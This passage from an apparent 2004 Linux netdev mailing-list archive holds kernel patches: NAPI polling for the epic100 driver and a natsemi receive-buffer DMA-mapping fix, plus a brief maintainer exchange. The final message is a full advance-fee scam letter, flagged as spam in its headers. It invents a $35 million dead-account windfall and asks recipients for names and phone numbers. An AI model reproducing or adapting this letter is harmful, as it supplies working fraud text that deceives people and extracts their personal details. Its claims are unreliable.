aims at brave and/or bored testers. The driver lacks ethtool support. Badly. :o/ --- linux-2.6.4/drivers/net/epic100.c 2004-03-20 14:52:08.000000000 +0100 +++ linux-2.6.4/drivers/net/epic100.c 2004-03-20 14:52:13.000000000 +0100 @@ -96,9 +96,9 @@ static int rx_copybreak; Making the Tx ring too large decreases the effectiveness of channel bonding and packet priority. There are no ill effects from too-large receive rings. */ -#define TX_RING_SIZE 16 +#define TX_RING_SIZE 256 #define TX_QUEUE_LEN 10 /* Limit ring entries actually used. */ -#define RX_RING_SIZE 32 +#define RX_RING_SIZE 256 #define TX_TOTAL_SIZE TX_RING_SIZE*sizeof(struct epic_tx_desc) #define RX_TOTAL_SIZE RX_RING_SIZE*sizeof(struct epic_rx_desc) @@ -292,6 +292,10 @@ enum CommandBits { StopTxDMA=0x20, StopRxDMA=0x40, RestartTx=0x80, }; +#define EpicNapiEvent (TxEmpty | TxDone | \ + RxDone | RxStarted | RxEarlyWarn | RxOverflow | RxFull) +#define EpicNormalEvent (0x0000ffffUL & ~EpicNapiEvent) + static u16 media2miictl[16] = { 0, 0x0C00, 0x0C00, 0x2000, 0x0100, 0x2100, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; @@ -330,9 +334,11 @@ struct epic_private { /* Ring pointers. */ spinlock_t lock; /* Group with Tx control cache line. */ + spinlock_t napi_lock; unsigned int cur_tx, dirty_tx; unsigned int cur_rx, dirty_rx; + u32 irq_mask; unsigned int rx_buf_sz; /* Based on MTU+slack. */ struct pci_dev *pci_dev; /* PCI bus location. */ @@ -359,7 +365,8 @@ static void epic_timer(unsigned long dat static void epic_tx_timeout(struct net_device *dev); static void epic_init_ring(struct net_device *dev); static int epic_start_xmit(struct sk_buff *skb, struct net_device *dev); -static int epic_rx(struct net_device *dev); +static int epic_rx(struct net_device *dev, int budget); +static int epic_poll(struct net_device *dev, int *budget); static irqreturn_t epic_interrupt(int irq, void *dev_instance, struct pt_regs *regs); static int netdev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd); static struct ethtool_ops netdev_ethtool_ops; @@ -378,7 +385,7 @@ static int __devinit epic_init_one (stru int irq; struct net_device *dev; struct epic_private *ep; - int i, option = 0, duplex = 0; + int i, ret, option = 0, duplex = 0; void *ring_space; dma_addr_t ring_dma; @@ -392,29 +399,33 @@ static int __devinit epic_init_one (stru card_idx++; - i = pci_enable_device(pdev); - if (i) - return i; + ret = pci_enable_device(pdev); + if (ret) + goto out; irq = pdev->irq; if (pci_resource_len(pdev, 0) < pci_id_tbl[chip_idx].io_size) { printk (KERN_ERR "card %d: no PCI region space\n", card_idx); - return -ENODEV; + ret = -ENODEV; + goto err_out_disable; } pci_set_master(pdev); + ret = pci_request_regions(pdev, DRV_NAME); + if (ret < 0) + goto err_out_disable; + + ret = -ENOMEM; + dev = alloc_etherdev(sizeof (*ep)); if (!dev) { printk (KERN_ERR "card %d: no memory for eth device\n", card_idx); - return -ENOMEM; + goto err_out_free_res; } SET_MODULE_OWNER(dev); SET_NETDEV_DEV(dev, &pdev->dev); - if (pci_request_regions(pdev, DRV_NAME)) - goto err_out_free_netdev; - #ifdef USE_IO_OPS ioaddr = pci_resource_start (pdev, 0); #else @@ -422,7 +433,7 @@ static int __devinit epic_init_one (stru ioaddr = (long) ioremap (ioaddr, pci_resource_len (pdev, 1)); if (!ioaddr) { printk (KERN_ERR DRV_NAME " %d: ioremap failed\n", card_idx); - goto err_out_free_res; + goto err_out_free_netdev; } #endif @@ -489,6 +500,9 @@ static int __devinit epic_init_one (stru ep->pci_dev = pdev; ep->chip_id = chip_idx; ep->chip_flags = pci_id_tbl[chip_idx].drv_flags; + ep->irq_mask = + (ep->chip_flags & TYPE2_INTR ? PCIBusErr175 : PCIBusErr170) + | CntFull | TxUnderrun | EpicNapiEvent; /* Find the connected MII xcvrs. Doing this in open() would allow detecting external xcvrs later, but @@ -543,10 +557,12 @@ static int __devinit epic_init_one (stru dev->ethtool_ops = &netdev_ethtool_ops; dev->watchdog_timeo = TX_TIMEOUT; dev->tx_timeout = &epic_tx_timeout; + dev->poll = epic_poll; + dev->weight = 64; - i = register_netdev(dev); - if (i) - goto err_out_unmap_tx; + ret = register_netdev(dev); + if (ret < 0) + goto err_out_unmap_rx; printk(KERN_INFO "%s: %s at %#lx, IRQ %d, ", dev->name, pci_id_tbl[chip_idx].name, ioaddr, dev->irq); @@ -554,19 +570,24 @@ static int __devinit epic_init_one (stru printk("%2.2x:", dev->dev_addr[i]); printk("%2.2x.\n", dev->dev_addr[i]); - return 0; +out: + return ret; +err_out_unmap_rx: + pci_free_consistent(pdev, RX_TOTAL_SIZE, ep->rx_ring, ep->rx_ring_dma); err_out_unmap_tx: pci_free_consistent(pdev, TX_TOTAL_SIZE, ep->tx_ring, ep->tx_ring_dma); err_out_iounmap: #ifndef USE_IO_OPS iounmap(ioaddr); -err_out_free_res: -#endif - pci_release_regions(pdev); err_out_free_netdev: +#endif free_netdev(dev); - return -ENODEV; +err_out_free_res: + pci_release_regions(pdev); +err_out_disable: + pci_disable_device(pdev); + goto out; } /* Serial EEPROM section. */ @@ -592,6 +613,36 @@ err_out_free_netdev: #define EE_READ256_CMD (6 << 8) #define EE_ERASE_CMD (7 << 6) +static void epic_disable_int(struct net_device *dev, struct epic_private *ep) +{ + long ioaddr = dev->base_addr; + + outl(0x00000000, ioaddr + INTMASK); +} + +static inline void __epic_pci_commit(long ioaddr) +{ +#ifndef USE_IO_OPS + inl(ioaddr + INTMASK); +#endif +} + +static void epic_napi_irq_off(struct net_device *dev, struct epic_private *ep) +{ + long ioaddr = dev->base_addr; + + outl(ep->irq_mask & ~EpicNapiEvent, ioaddr + INTMASK); + __epic_pci_commit(ioaddr); +} + +static void epic_napi_irq_on(struct net_device *dev, struct epic_private *ep) +{ + long ioaddr = dev->base_addr; + + /* No need to commit possible posted write */ + outl(ep->irq_mask | EpicNapiEvent, ioaddr + INTMASK); +} + static int __devinit read_eeprom(long ioaddr, int location) { int i; @@ -753,8 +804,7 @@ static int epic_open(struct net_device * /* Enable interrupts by setting the interrupt mask. */ outl((ep->chip_flags & TYPE2_INTR ? PCIBusErr175 : PCIBusErr170) | CntFull | TxUnderrun | TxDone | TxEmpty - | RxError | RxOverflow | RxFull | RxHeader | RxDone, - ioaddr + INTMASK); + | RxError | EpicNapiEvent, ioaddr + INTMASK); if (debug > 1) printk(KERN_DEBUG "%s: epic_open() ioaddr %lx IRQ %d status %4.4x " @@ -795,7 +845,7 @@ static void epic_pause(struct net_device } /* Remove the packets on the Rx queue. */ - epic_rx(dev); + epic_rx(dev, RX_RING_SIZE); } static void epic_restart(struct net_device *dev) @@ -842,7 +892,7 @@ static void epic_restart(struct net_devi /* Enable interrupts by setting the interrupt mask. */ outl((ep->chip_flags & TYPE2_INTR ? PCIBusErr175 : PCIBusErr170) | CntFull | TxUnderrun | TxDone | TxEmpty - | RxError | RxOverflow | RxFull | RxHeader | RxDone, + | RxError | EpicNapiEvent, ioaddr + INTMASK); printk(KERN_DEBUG "%s: epic_restart() done, cmd status %4.4x, ctl %4.4x" " interrupt %4.4x.\n", @@ -929,7 +979,8 @@ static void epic_init_ring(struct net_de int i; ep->tx_full = 0; - ep->lock = (spinlock_t) SPIN_LOCK_UNLOCKED; + spin_lock_init(&ep->lock); + spin_lock_init(&ep->napi_lock); ep->dirty_tx = ep->cur_tx = 0; ep->cur_rx = ep->dirty_rx = 0; ep->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 32); @@ -1029,6 +1080,77 @@ static int epic_start_xmit(struct sk_buf return 0; } +static void epic_tx_error(struct net_device *dev, struct epic_private *ep, + int status) +{ + struct net_device_stats *stats = &ep->stats; + +#ifndef final_version + /* There was an major error, log it. */ + if (debug > 1) + printk(KERN_DEBUG "%s: Transmit error, Tx status %8.8x.\n", + dev->name, status); +#endif + stats->tx_errors++; + if (status & 0x1050) + stats->tx_aborted_errors++; + if (status & 0x0008) + stats->tx_carrier_errors++; + if (status & 0x0040) + stats->tx_window_errors++; + if (status & 0x0010) + stats->tx_fifo_errors++; +} + +static void epic_tx(struct net_device *dev, struct epic_private *ep) +{ + unsigned int dirty_tx, cur_tx; + + /* + * Note: if this lock becomes a problem we can narrow the locked + * region at the cost of occasionally grabbing the lock more times. + */ + cur_tx = ep->cur_tx; + for (dirty_tx = ep->dirty_tx; cur_tx - dirty_tx > 0; dirty_tx++) { + struct sk_buff *skb; + int entry = dirty_tx % TX_RING_SIZE; + int txstatus = le32_to_cpu(ep->tx_ring[entry].txstatus); + + if (txstatus & DescOwn) + break; /* It still hasn't been Txed */ + + if (likely(txstatus & 0x0001)) { + ep->stats.collisions += (txstatus >> 8) & 15; + ep->stats.tx_packets++; + ep->stats.tx_bytes += ep->tx_skbuff[entry]->len; + } else + epic_tx_error(dev, ep, txstatus); + + /* Free the original skb. */ + skb = ep->tx_skbuff[entry]; + pci_unmap_single(ep->pci_dev, ep->tx_ring[entry].bufaddr, + skb->len, PCI_DMA_TODEVICE); + dev_kfree_skb_irq(skb); + ep->tx_skbuff[entry] = 0; + } + +#ifndef final_version + if (cur_tx - dirty_tx > TX_RING_SIZE) { + printk(KERN_WARNING + "%s: Out-of-sync dirty pointer, %d vs. %d, full=%d.\n", + dev->name, dirty_tx, cur_tx, ep->tx_full); + dirty_tx += TX_RING_SIZE; + } +#endif + ep->dirty_tx = dirty_tx; + if (ep->tx_full && cur_tx - dirty_tx < TX_QUEUE_LEN - 4) { + /* The ring is no longer full, allow new TX entries. */ + ep->tx_full = 0; + netif_wake_queue(dev); + } +} + + /* The interrupt handler does all of the Rx thread work and cleans up after the Tx thread. */ static irqreturn_t epic_interrupt(int irq, void *dev_instance, struct pt_regs *regs) @@ -1042,7 +1164,7 @@ static irqreturn_t epic_interrupt(int ir do { status = inl(ioaddr + INTSTAT); /* Acknowledge all of the current interrupt sources ASAP. */ - outl(status & 0x00007fff, ioaddr + INTSTAT); + outl(status & EpicNormalEvent, ioaddr + INTSTAT); if (debug > 4) printk(KERN_DEBUG "%s: Interrupt, status=%#8.8x new " @@ -1053,73 +1175,18 @@ static irqreturn_t epic_interrupt(int ir break; handled = 1; - if (status & (RxDone | RxStarted | RxEarlyWarn | RxOverflow)) - epic_rx(dev); - - if (status & (TxEmpty | TxDone)) { - unsigned int dirty_tx, cur_tx; - - /* Note: if this lock becomes a problem we can narrow the locked - region at the cost of occasionally grabbing the lock more - times. */ - spin_lock(&ep->lock); - cur_tx = ep->cur_tx; - dirty_tx = ep->dirty_tx; - for (; cur_tx - dirty_tx > 0; dirty_tx++) { - struct sk_buff *skb; - int entry = dirty_tx % TX_RING_SIZE; - int txstatus = le32_to_cpu(ep->tx_ring[entry].txstatus); - - if (txstatus & DescOwn) - break; /* It still hasn't been Txed */ - - if ( ! (txstatus & 0x0001)) { - /* There was an major error, log it. */ -#ifndef final_version - if (debug > 1) - printk(KERN_DEBUG "%s: Transmit error, Tx status %8.8x.\n", - dev->name, txstatus); -#endif - ep->stats.tx_errors++; - if (txstatus & 0x1050) ep->stats.tx_aborted_errors++; - if (txstatus & 0x0008) ep->stats.tx_carrier_errors++; - if (txstatus & 0x0040) ep->stats.tx_window_errors++; - if (txstatus & 0x0010) ep->stats.tx_fifo_errors++; - } else { - ep->stats.collisions += (txstatus >> 8) & 15; - ep->stats.tx_packets++; - ep->stats.tx_bytes += ep->tx_skbuff[entry]->len; - } - - /* Free the original skb. */ - skb = ep->tx_skbuff[entry]; - pci_unmap_single(ep->pci_dev, ep->tx_ring[entry].bufaddr, - skb->len, PCI_DMA_TODEVICE); - dev_kfree_skb_irq(skb); - ep->tx_skbuff[entry] = 0; + if (status & EpicNapiEvent) { + spin_lock(&ep->napi_lock); + if (netif_rx_schedule_prep(dev)) { + epic_napi_irq_off(dev, ep); + __netif_rx_schedule(dev); } - -#ifndef final_version - if (cur_tx - dirty_tx > TX_RING_SIZE) { - printk(KERN_WARNING "%s: Out-of-sync dirty pointer, %d vs. %d, full=%d.\n", - dev->name, dirty_tx, cur_tx, ep->tx_full); - dirty_tx += TX_RING_SIZE; - } -#endif - ep->dirty_tx = dirty_tx; - if (ep->tx_full - && cur_tx - dirty_tx < TX_QUEUE_LEN - 4) { - /* The ring is no longer full, allow new TX entries. */ - ep->tx_full = 0; - spin_unlock(&ep->lock); - netif_wake_queue(dev); - } else - spin_unlock(&ep->lock); + spin_unlock(&ep->napi_lock); } /* Check uncommon events all at once. */ - if (status & (CntFull | TxUnderrun | RxOverflow | RxFull | - PCIBusErr170 | PCIBusErr175)) { + if (status & + (CntFull | TxUnderrun | PCIBusErr170 | PCIBusErr175)) { if (status == 0xffffffff) /* Chip failed or removed (CardBus). */ break; /* Always update the error counts to avoid overhead later. */ @@ -1133,11 +1200,6 @@ static irqreturn_t epic_interrupt(int ir /* Restart the transmit process. */ outl(RestartTx, ioaddr + COMMAND); } - if (status & RxOverflow) { /* Missed a Rx frame. */ - ep->stats.rx_errors++; - } - if (status & (RxOverflow | RxFull)) - outw(RxQueued, ioaddr + COMMAND); if (status & PCIBusErr170) { printk(KERN_ERR "%s: PCI Bus Error! EPIC status %4.4x.\n", dev->name, status); @@ -1147,6 +1209,8 @@ static irqreturn_t epic_interrupt(int ir /* Clear all error sources. */ outl(status & 0x7f18, ioaddr + INTSTAT); } + if (!(status & EpicNormalEvent)) + break; if (--boguscnt < 0) { printk(KERN_ERR "%s: Too much work at interrupt, " "IntrStatus=0x%8.8x.\n", @@ -1164,7 +1228,7 @@ static irqreturn_t epic_interrupt(int ir return IRQ_RETVAL(handled); } -static int epic_rx(struct net_device *dev) +static int epic_rx(struct net_device *dev, int budget) { struct epic_private *ep = dev->priv; int entry = ep->cur_rx % RX_RING_SIZE; @@ -1174,6 +1238,10 @@ static int epic_rx(struct net_device *de if (debug > 4) printk(KERN_DEBUG " In epic_rx(), entry %d %8.8x.\n", entry, ep->rx_ring[entry].rxstatus); + + if (rx_work_limit > budget) + rx_work_limit = budget; + /* If we own the next entry, it's a new packet. Send it up. */ while ((ep->rx_ring[entry].rxstatus & cpu_to_le32(DescOwn)) == 0) { int status = le32_to_cpu(ep->rx_ring[entry].rxstatus); @@ -1228,7 +1296,7 @@ static int epic_rx(struct net_device *de ep->rx_skbuff[entry] = NULL; } skb->protocol = eth_type_trans(skb, dev); - netif_rx(skb); + netif_receive_skb(skb); dev->last_rx = jiffies; ep->stats.rx_packets++; ep->stats.rx_bytes += pkt_len; @@ -1256,6 +1324,60 @@ static int epic_rx(struct net_device *de return work_done; } +static void epic_rx_err(struct net_device *dev, struct epic_private *ep) +{ + long ioaddr = dev->base_addr; + int status; + + status = inl(ioaddr + INTSTAT); + + if (status == 0xffffffff) + return; + if (status & RxOverflow) /* Missed a Rx frame. */ + ep->stats.rx_errors++; + if (status & (RxOverflow | RxFull)) + outw(RxQueued, ioaddr + COMMAND); +} + +static int epic_poll(struct net_device *dev, int *budget) +{ + struct epic_private *ep = dev->priv; + int work_done, orig_budget; + long ioaddr = dev->base_addr; + + epic_tx(dev, ep); + + orig_budget = (*budget > dev->quota) ? dev->quota : *budget; + +rx_action: + outl(EpicNapiEvent, ioaddr + INTSTAT); + + work_done = epic_rx(dev, *budget); + + epic_rx_err(dev, ep); + + *budget -= work_done; + dev->quota -= work_done; + + if (work_done < orig_budget) { + unsigned long flags; + int status; + + spin_lock_irqsave(&ep->napi_lock, flags); + epic_napi_irq_on(dev, ep); + __netif_rx_complete(dev); + spin_unlock_irqrestore(&ep->napi_lock, flags); + + status = inl(ioaddr + INTSTAT); + if (status & EpicNapiEvent) { + epic_napi_irq_off(dev, ep); + goto rx_action; + } + } + + return (work_done >= orig_budget); +} + static int epic_close(struct net_device *dev) { long ioaddr = dev->base_addr; @@ -1270,9 +1392,13 @@ static int epic_close(struct net_device dev->name, (int)inl(ioaddr + INTSTAT)); del_timer_sync(&ep->timer); - epic_pause(dev); + + epic_disable_int(dev, ep); + free_irq(dev->irq, dev); + epic_pause(dev); + /* Free all the skbuffs in the Rx queue. */ for (i = 0; i < RX_RING_SIZE; i++) { skb = ep->rx_skbuff[i]; @@ -1470,6 +1596,7 @@ static void __devexit epic_remove_one (s #endif pci_release_regions(pdev); free_netdev(dev); + pci_disable_device(pdev); pci_set_drvdata(pdev, NULL); /* pci_power_off(pdev, -1); */ } From jgarzik@pobox.com Sat Mar 20 07:22:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Mar 2004 07:22:04 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2KFLwKO005750 for ; Sat, 20 Mar 2004 07:21:59 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B3Ixg-0000Qc-4x; Tue, 16 Mar 2004 18:06:44 +0000 Message-ID: <40574227.8020302@pobox.com> Date: Tue, 16 Mar 2004 13:06:31 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Netdev , Tim Hockin CC: Linux Kernel , ralf@linux-mips.org, sjhill@realitydiluted.com Subject: [PATCH] fix natsemi PCI mapping Content-Type: multipart/mixed; boundary="------------030201040708020304090607" X-archive-position: 4155 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 3998 Lines: 121 This is a multi-part message in MIME format. --------------030201040708020304090607 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Somebody wanna review and/or test? Changes: * Define RX_OFFSET constant (value==2) for uses related to SKB allocation and skb_reserve() calls * RX skb's are always allocated maximally-sized, since we don't know the size of an RX packet in advance. This means that we always alloc and map RX skbs based on "np->rx_buf_sz + RX_OFFSET". natsemi got this really wrong in refill_rx(), where it mapped skb->len just after dev_alloc_skb(), which was very incorrect. * call skb_reserve() in refill_rx(), our main skb allocation function, just after dev_alloc_skb() returns successfully --------------030201040708020304090607 Content-Type: text/plain; name="patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch" ===== drivers/net/natsemi.c 1.58 vs edited ===== --- 1.58/drivers/net/natsemi.c Sun Mar 14 01:54:58 2004 +++ edited/drivers/net/natsemi.c Tue Mar 16 13:02:04 2004 @@ -175,6 +175,8 @@ #define DRV_VERSION "1.07+LK1.0.17" #define DRV_RELDATE "Sep 27, 2002" +#define RX_OFFSET 2 + /* Updated to recommendations in pci-skeleton v2.03. */ /* The user-configurable values. @@ -1467,13 +1469,16 @@ struct sk_buff *skb; int entry = np->dirty_rx % RX_RING_SIZE; if (np->rx_skbuff[entry] == NULL) { - skb = dev_alloc_skb(np->rx_buf_sz); + unsigned int buflen = np->rx_buf_sz + RX_OFFSET; + skb = dev_alloc_skb(buflen); np->rx_skbuff[entry] = skb; if (skb == NULL) break; /* Better luck next round. */ skb->dev = dev; /* Mark as being used by this device. */ + /* 16 byte align the IP header */ + skb_reserve(skb, RX_OFFSET); np->rx_dma[entry] = pci_map_single(np->pci_dev, - skb->data, skb->len, PCI_DMA_FROMDEVICE); + skb->tail, buflen, PCI_DMA_FROMDEVICE); np->rx_ring[entry].addr = cpu_to_le32(np->rx_dma[entry]); } np->rx_ring[entry].cmd_status = cpu_to_le32(np->rx_buf_sz); @@ -1543,6 +1548,7 @@ static void drain_ring(struct net_device *dev) { struct netdev_private *np = dev->priv; + unsigned int buflen = np->rx_buf_sz + RX_OFFSET; int i; /* Free all the skbuffs in the Rx queue. */ @@ -1551,7 +1557,7 @@ np->rx_ring[i].addr = 0xBADF00D0; /* An invalid address. */ if (np->rx_skbuff[i]) { pci_unmap_single(np->pci_dev, - np->rx_dma[i], np->rx_skbuff[i]->len, + np->rx_dma[i], buflen, PCI_DMA_FROMDEVICE); dev_kfree_skb(np->rx_skbuff[i]); } @@ -1747,6 +1753,7 @@ int entry = np->cur_rx % RX_RING_SIZE; int boguscnt = np->dirty_rx + RX_RING_SIZE - np->cur_rx; s32 desc_status = le32_to_cpu(np->rx_head_desc->cmd_status); + unsigned int buflen = np->rx_buf_sz + RX_OFFSET; /* If the driver owns the next entry it's a new packet. Send it up. */ while (desc_status < 0) { /* e.g. & DescOwn */ @@ -1785,13 +1792,13 @@ /* Check if the packet is long enough to accept * without copying to a minimally-sized skbuff. */ if (pkt_len < rx_copybreak - && (skb = dev_alloc_skb(pkt_len + 2)) != NULL) { + && (skb = dev_alloc_skb(pkt_len + RX_OFFSET)) != NULL) { skb->dev = dev; /* 16 byte align the IP header */ - skb_reserve(skb, 2); + skb_reserve(skb, RX_OFFSET); pci_dma_sync_single_for_cpu(np->pci_dev, np->rx_dma[entry], - np->rx_skbuff[entry]->len, + buflen, PCI_DMA_FROMDEVICE); #if HAS_IP_COPYSUM eth_copy_and_sum(skb, @@ -1803,12 +1810,11 @@ #endif pci_dma_sync_single_for_device(np->pci_dev, np->rx_dma[entry], - np->rx_skbuff[entry]->len, + buflen, PCI_DMA_FROMDEVICE); } else { pci_unmap_single(np->pci_dev, np->rx_dma[entry], - np->rx_skbuff[entry]->len, - PCI_DMA_FROMDEVICE); + buflen, PCI_DMA_FROMDEVICE); skb_put(skb = np->rx_skbuff[entry], pkt_len); np->rx_skbuff[entry] = NULL; } --------------030201040708020304090607-- From leonid.grossman@s2io.com Sat Mar 20 07:45:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Mar 2004 07:45:59 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2KFjsKO006616 for ; Sat, 20 Mar 2004 07:45:54 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i2KFjgjF005463; Sat, 20 Mar 2004 10:45:42 -0500 (EST) Received: from lgt40 ([192.168.0.3]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i2KFjbUh019401; Sat, 20 Mar 2004 10:45:39 -0500 (EST) From: "Leonid Grossman" To: "'Jeff Garzik'" , "'Christoph Hellwig'" Cc: , "'ravinandan arakali'" , Subject: RE: Submission #4 for S2io 10GbE driver Date: Sat, 20 Mar 2004 07:42:00 -0800 Message-ID: <003101c40e91$e475d1f0$0300a8c0@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 In-Reply-To: <405C239B.3070804@pobox.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Scanned-By: MIMEDefang 2.34 X-archive-position: 4156 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev Content-Length: 841 Lines: 35 Agreed, will do. Thanks for the input! Leonid > -----Original Message----- > From: Jeff Garzik [mailto:jgarzik@pobox.com] > Sent: Saturday, March 20, 2004 2:58 AM > To: Christoph Hellwig > Cc: Leonid Grossman; netdev@oss.sgi.com; 'ravinandan > arakali'; raghavendra.koushik@s2io.com > Subject: Re: Submission #4 for S2io 10GbE driver > > > Christoph Hellwig wrote: > > On Sat, Mar 20, 2004 at 04:56:10AM -0500, Jeff Garzik wrote: > > > >>applied to 2.6, thanks. > >> > >>Note I made the attached changes, otherwise the build would throw a > >>bunch of errors and warnings. Also, I merged it into > >>drivers/net/s2io{.c,.h,-regs.h} since there isn't a need > for a separate > >>directory for just three files. > > > > > > There's still lots of missing statics the might want to get > fixed up. > > Agreed. > > Jeff > > > From mrabdulrahim@iol.pt Sat Mar 20 12:41:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Mar 2004 12:41:55 -0800 (PST) Received: from mx1.mediacapital.pt (relay.iol.pt [193.126.240.149] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2KKfbKO026348; Sat, 20 Mar 2004 12:41:37 -0800 Received: from mcmmta3.mediacapital.pt (unknown [172.16.54.19]) by mx1.mediacapital.pt ((Email service for IOL isp (apoioaocliente@iol.pt))) with ESMTP id 1479F6FA18; Sat, 20 Mar 2004 20:12:57 +0000 (WET) Received: from iol.pt (mcmmailstore3.mediacapital.pt [172.16.4.127]) by mcmmta3.mediacapital.pt (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep 8 2003)) with ESMTP id <0HUW001515ALN9@mcmmta3.mediacapital.pt>; Sat, 20 Mar 2004 20:08:57 +0000 (GMT) Received: from [172.16.4.110] by mstore3.iol.pt (mshttpd); Sat, 20 Mar 2004 21:12:44 +0100 Date: Sat, 20 Mar 2004 21:12:44 +0100 From: mrabdulrahim@iol.pt Subject: PLEASE CALL ME IMMEDIATELY FOR MORE INFORMATION Message-id: <1497e514a16f.14a16f1497e5@iol.pt> MIME-version: 1.0 X-Mailer: iPlanet Messenger Express 5.2 HotFix 1.16 (built May 14 2003) Content-type: text/plain; charset=us-ascii Content-language: pt Content-transfer-encoding: 7BIT Content-disposition: inline X-Accept-Language: pt Priority: normal Bcc: X-archive-position: 4157 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mrabdulrahim@iol.pt Precedence: bulk X-list: netdev Content-Length: 4839 Lines: 108 X-Spam-Flag: YES X-Spam-Checker-Version: SpamAssassin 3.0.0-r6961 (2004-03-01) on oss.sgi.com X-Spam-Report: * 2.0 NO_REAL_NAME From: does not include a real name * 3.0 US_DOLLARS_3 BODY: Mentions millions of $ ($NN,NNN,NNN.NN) * 1.8 DEAR_FRIEND BODY: Dear Friend? That's not very dear! * 5.0 BAYES_99 BODY: Bayesian spam probability is 99 to 100% * [score: 1.0000] * 1.1 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence between 51 and 100 * [cf: 100] * 3.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED * 4.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/) * 0.0 FORGED_RCVD_HELO Received: contains a forged HELO * 0.0 SUBJ_ALL_CAPS Subject is all capitals * 3.0 MISSING_HEADERS Missing To: header * 2.0 NIGERIAN_BODY1 Message body looks like a Nigerian spam message 1+ * 0.7 NIGERIAN_BODY2 Message body looks like a Nigerian spam message 2+ * 0.7 NIGERIAN_BODY3 Message body looks like a Nigerian spam message 3+ X-Spam-Status: Yes, score=26.4 required=5.0 tests=BAYES_99,DEAR_FRIEND, FORGED_RCVD_HELO,LINES_OF_YELLING,MISSING_HEADERS,NIGERIAN_BODY1, NIGERIAN_BODY2,NIGERIAN_BODY3,NO_REAL_NAME,RAZOR2_CF_RANGE_51_100, RAZOR2_CHECK,SUBJ_ALL_CAPS,US_DOLLARS_3 autolearn=spam version=3.0.0-r6961 X-Spam-Level: ************************** MR.ABDUL RAHIM BILL AND EXCHANGE DEPARTMENT FOREIGN REMMITTANCE DEPARTMENT. ADRICA DEVELOPMENT BANK (ADB) OFFICE:00229 07 14 19 HOME:+229 28 86 91 EMAIL:rahim_abdul1955@yahoo.fr Dear Friend., My name is MR.ABDUL RAHIM I am the credit manager in a bank here in the Republic of Benin. I am contacting you of a business transfer,of a huge sum of money from a deceased account. Though I know that a transaction of this magnitude will make any one apprehensive and worried, but I am assuring you that everything has been taken care off, and all will be well at the end of the day. I decided to contact you due to the urgency of this transaction. PROPOSITION; I am the account officer of a foreigner who died in an air crash along with his wife on the 31st October 1999 in an Egyptian airline 990 with other passengers on board. You can confirm this from the website below which was published byCNN.WEBSITE.http://www.cnn.com/US/9911/02/egyptair990.list/index.html Since his death, none of his next-of-kin are alive to make claims for this money as his heir, because they all died in the same accident himself and his wife(May their soul rest in peace). We cannot release the fund from his account unless someone applies for claim as the next-of-kin to the deceased as indicated in our banking guidelines. Upon this discovery, I now seek your permission to have you stand as a next of kin to the deceased, as all documentations will be carefully worked out by me for the funds (US$35,000,000.00) to be released in your favour as the beneficiary's next of kin. Because after four years the money will be called back to the bank treasury as unclaimed bills and the money shared amongst the directors of the bank. So it is on this note i decided to seek for whom his name shall be used as the next of kin/beneficiary to this funds rather than allow the bank directors to share this money amongst them at the end of the year. It may interest you to know that we have secured from the probate an order of mandamus to locate any of the deceased beneficiaries. Please acknowledge receipt of this message in acceptance of our mutual business endeavor by furnishing me with the following information if you are interested. 1.A Beneficiary name? In order for me to prepare the document for transfer of the funds in your name. 2. Direct Telephone and fax numbers. For our personal contact and mutual trust in each other. I shall be compensating you with 25% on final conclusion of this project for your assistance, while the balance 5% for expenses and 70% shall be for me and my colleaques Because I intend to retire after the conclusion of this transaction. If this proposal is acceptable by you, please endeavor to contact meimmediately through my home or office telephone numbers listed below and above you ca also send a mail to my personaly email address. Do not take undue advantage of the trust I have bestowed in you, I await your urgent mail to my personal Email:rahim_abdul1955@yahoo.fr PLEASE CALL ME IMMEDIATELY FOR MORE INFORMATION Regards, MR.ABDUL RAHIM BILL AND EXCHANGE DEPARTMENT FOREIGN REMMITTANCE DEPARTMENT. ADRICA DEVELOPMENT BANK (ADB) OFFICE:00229 07 14 19 HOME:+229 28 86 91 EMAIL:rahim_abdul1955@yahoo.fr ___________________________________________________________________________________________ IOL Flash. A net normal em versao acelerada. Precisa de uma caixa de correio maior? Com o IOL Flash pode ter uma caixa com 21MB de espaco. 